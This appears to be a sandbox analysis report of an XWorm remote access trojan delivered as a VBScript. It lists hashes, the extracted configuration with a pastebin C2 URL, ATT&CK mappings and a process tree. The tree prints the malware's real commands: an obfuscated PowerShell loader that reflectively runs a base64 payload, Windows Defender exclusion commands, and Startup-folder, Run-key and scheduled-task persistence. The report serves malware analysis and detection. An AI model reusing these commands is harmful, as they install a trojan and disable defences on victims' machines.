xworm | fc6447a6f4407fe43119c51d7c070a23c2b21f3bd1ed80d45245a49aa8e2fa3b

Analysis

max time kernel
33s
max time network
54s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250218-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250218-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
07/03/2025, 21:04

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General

Target

FUD.vbs
Size

97KB
MD5

457f2d4041d1873ebb7c33d0ccd41469
SHA1

b70963db9423a72ae7a0e7b25ab48510c27af6c0
SHA256

fc6447a6f4407fe43119c51d7c070a23c2b21f3bd1ed80d45245a49aa8e2fa3b
SHA512

6e623f91e07ce6ecb50581cd8d45c67a7d37f2a77ebe2d1b208722ea12de595dfcea75c1946d37b8f430978beb2227d074857f0b1749daba562ecac0baae65ec
SSDEEP

1536:p6GSeymei7zi/ABajxVOS2DAcsPteLg0xHEe+4ho7xnxPgGlyNowKBjh:p6GKmV7zqAB852DActMne+UIDzwNotB1

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%Userprofile%
install_file
injector.exe
pastebin_url
https://pastebin.com/raw/DSFaHH8B

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/5992-15-0x000002657D5F0000-0x000002657D608000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
20	5992	powershell.exe
25	5992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4700	powershell.exe
5528	powershell.exe
2324	powershell.exe
1912	powershell.exe
5992	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\injector.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\injector.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\injector = "C:\\Users\\Admin\\injector.exe"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	pastebin.com
20	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5108	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5992	powershell.exe
5992	powershell.exe
4700	powershell.exe
4700	powershell.exe
5528	powershell.exe
5528	powershell.exe
2324	powershell.exe
2324	powershell.exe
1912	powershell.exe
1912	powershell.exe
5992	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5992	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeIncreaseQuotaPrivilege	4700	powershell.exe
Token: SeSecurityPrivilege	4700	powershell.exe
Token: SeTakeOwnershipPrivilege	4700	powershell.exe
Token: SeLoadDriverPrivilege	4700	powershell.exe
Token: SeSystemProfilePrivilege	4700	powershell.exe
Token: SeSystemtimePrivilege	4700	powershell.exe
Token: SeProfSingleProcessPrivilege	4700	powershell.exe
Token: SeIncBasePriorityPrivilege	4700	powershell.exe
Token: SeCreatePagefilePrivilege	4700	powershell.exe
Token: SeBackupPrivilege	4700	powershell.exe
Token: SeRestorePrivilege	4700	powershell.exe
Token: SeShutdownPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeSystemEnvironmentPrivilege	4700	powershell.exe
Token: SeRemoteShutdownPrivilege	4700	powershell.exe
Token: SeUndockPrivilege	4700	powershell.exe
Token: SeManageVolumePrivilege	4700	powershell.exe
Token: 33	4700	powershell.exe
Token: 34	4700	powershell.exe
Token: 35	4700	powershell.exe
Token: 36	4700	powershell.exe
Token: SeDebugPrivilege	5528	powershell.exe
Token: SeIncreaseQuotaPrivilege	5528	powershell.exe
Token: SeSecurityPrivilege	5528	powershell.exe
Token: SeTakeOwnershipPrivilege	5528	powershell.exe
Token: SeLoadDriverPrivilege	5528	powershell.exe
Token: SeSystemProfilePrivilege	5528	powershell.exe
Token: SeSystemtimePrivilege	5528	powershell.exe
Token: SeProfSingleProcessPrivilege	5528	powershell.exe
Token: SeIncBasePriorityPrivilege	5528	powershell.exe
Token: SeCreatePagefilePrivilege	5528	powershell.exe
Token: SeBackupPrivilege	5528	powershell.exe
Token: SeRestorePrivilege	5528	powershell.exe
Token: SeShutdownPrivilege	5528	powershell.exe
Token: SeDebugPrivilege	5528	powershell.exe
Token: SeSystemEnvironmentPrivilege	5528	powershell.exe
Token: SeRemoteShutdownPrivilege	5528	powershell.exe
Token: SeUndockPrivilege	5528	powershell.exe
Token: SeManageVolumePrivilege	5528	powershell.exe
Token: 33	5528	powershell.exe
Token: 34	5528	powershell.exe
Token: 35	5528	powershell.exe
Token: 36	5528	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeIncreaseQuotaPrivilege	2324	powershell.exe
Token: SeSecurityPrivilege	2324	powershell.exe
Token: SeTakeOwnershipPrivilege	2324	powershell.exe
Token: SeLoadDriverPrivilege	2324	powershell.exe
Token: SeSystemProfilePrivilege	2324	powershell.exe
Token: SeSystemtimePrivilege	2324	powershell.exe
Token: SeProfSingleProcessPrivilege	2324	powershell.exe
Token: SeIncBasePriorityPrivilege	2324	powershell.exe
Token: SeCreatePagefilePrivilege	2324	powershell.exe
Token: SeBackupPrivilege	2324	powershell.exe
Token: SeRestorePrivilege	2324	powershell.exe
Token: SeShutdownPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeSystemEnvironmentPrivilege	2324	powershell.exe
Token: SeRemoteShutdownPrivilege	2324	powershell.exe
Token: SeUndockPrivilege	2324	powershell.exe
Token: SeManageVolumePrivilege	2324	powershell.exe
Token: 33	2324	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5992	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5252 wrote to memory of 5992	5252	WScript.exe	86
PID 5252 wrote to memory of 5992	5252	WScript.exe	86
PID 5992 wrote to memory of 4700	5992	powershell.exe	90
PID 5992 wrote to memory of 4700	5992	powershell.exe	90
PID 5992 wrote to memory of 5528	5992	powershell.exe	93
PID 5992 wrote to memory of 5528	5992	powershell.exe	93
PID 5992 wrote to memory of 2324	5992	powershell.exe	95
PID 5992 wrote to memory of 2324	5992	powershell.exe	95
PID 5992 wrote to memory of 1912	5992	powershell.exe	98
PID 5992 wrote to memory of 1912	5992	powershell.exe	98
PID 5992 wrote to memory of 5108	5992	powershell.exe	100
PID 5992 wrote to memory of 5108	5992	powershell.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.vbs'; $lionfish = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $lionfish = -join $lionfish[-1..-$lionfish.Length];[<##>AppDomain<##>]::<##>('IwuurrentDomain'.replace('Iwu','C'))<##>.<##>('afterlifesoad'.replace('afterlifes','L'))([Convert]::FromBase64String($lionfish))<##>.<##>('HormuzntryPoint'.replace('Hormuz','E'))<##>.<##>('Infreakishoke'.replace('freakish','v'))($Null,$Null)<##>;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\injector.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'injector.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1912
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "injector" /tr "C:\Users\Admin\injector.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f0f59cccd39a3694e0e6dfd44d0fa76d

SHA1
fccd7911d463041e1168431df8823e4c4ea387c1

SHA256
70466c7f3a911368d653396fdd68f993322c69e1797b492ca00f8be34b7f3401

SHA512
5c726e1e28cb9c0c3ab963fbfbf471c6033839f3e535a3811581fdaa4da17175e5a8a8be84a4fccd99b81e048058e51d230ff3836e3ec920057a1b1676110bee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
db223e6a6930c11ea4786cb99ee7b25c

SHA1
e2dd6c28cb79dcf3424b55234ea627e590ec80b9

SHA256
aa54c6b65dfea35f2edb8a90e866a0632fe6e2be002ed509cb794a1c2befcee9

SHA512
7d827f5b81beae0274a0a34c3cdc24c7ef0e853231aa4aa61be765bca4e205fe776828e8c8b8fb55c542ae0f941b054efb6d7ac8c3fd57ddadf4114523d65228

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3c24e75e9855bcbefbef9f6b68ae286f

SHA1
6ceb908c0875df779ac14df6b0f8d8198580ce2c

SHA256
e57af5784710dfa6a9e65effe44b2c455bd01ebb371001cc10b8c19b3e9e69de

SHA512
3bd0b6733bd3f53f897d2b9bf4c778a8f5ab19d0cb634dd59793f06c5c37a04c59cd4328ed993e214e4ffd6fca319de7b83bdabbb166c9b06cacc61647d5be1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j4dqt14o.bkl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5992-12-0x00007FFE6DD30000-0x00007FFE6E7F2000-memory.dmp

Filesize
10.8MB

Download
memory/5992-14-0x00007FFE6DD30000-0x00007FFE6E7F2000-memory.dmp

Filesize
10.8MB

Download
memory/5992-15-0x000002657D5F0000-0x000002657D608000-memory.dmp

Filesize
96KB

Download
memory/5992-13-0x000002657D640000-0x000002657D684000-memory.dmp

Filesize
272KB

Download
memory/5992-0-0x00007FFE6DD33000-0x00007FFE6DD35000-memory.dmp

Filesize
8KB

Download
memory/5992-11-0x00007FFE6DD30000-0x00007FFE6E7F2000-memory.dmp

Filesize
10.8MB

Download
memory/5992-1-0x000002657D100000-0x000002657D122000-memory.dmp

Filesize
136KB

Download
memory/5992-61-0x00007FFE6DD33000-0x00007FFE6DD35000-memory.dmp

Filesize
8KB

Download
memory/5992-62-0x00007FFE6DD30000-0x00007FFE6E7F2000-memory.dmp

Filesize
10.8MB

Download
memory/5992-64-0x00007FFE6DD30000-0x00007FFE6E7F2000-memory.dmp

Filesize
10.8MB

Download
memory/5992-68-0x00007FFE6DD30000-0x00007FFE6E7F2000-memory.dmp

Filesize
10.8MB

Download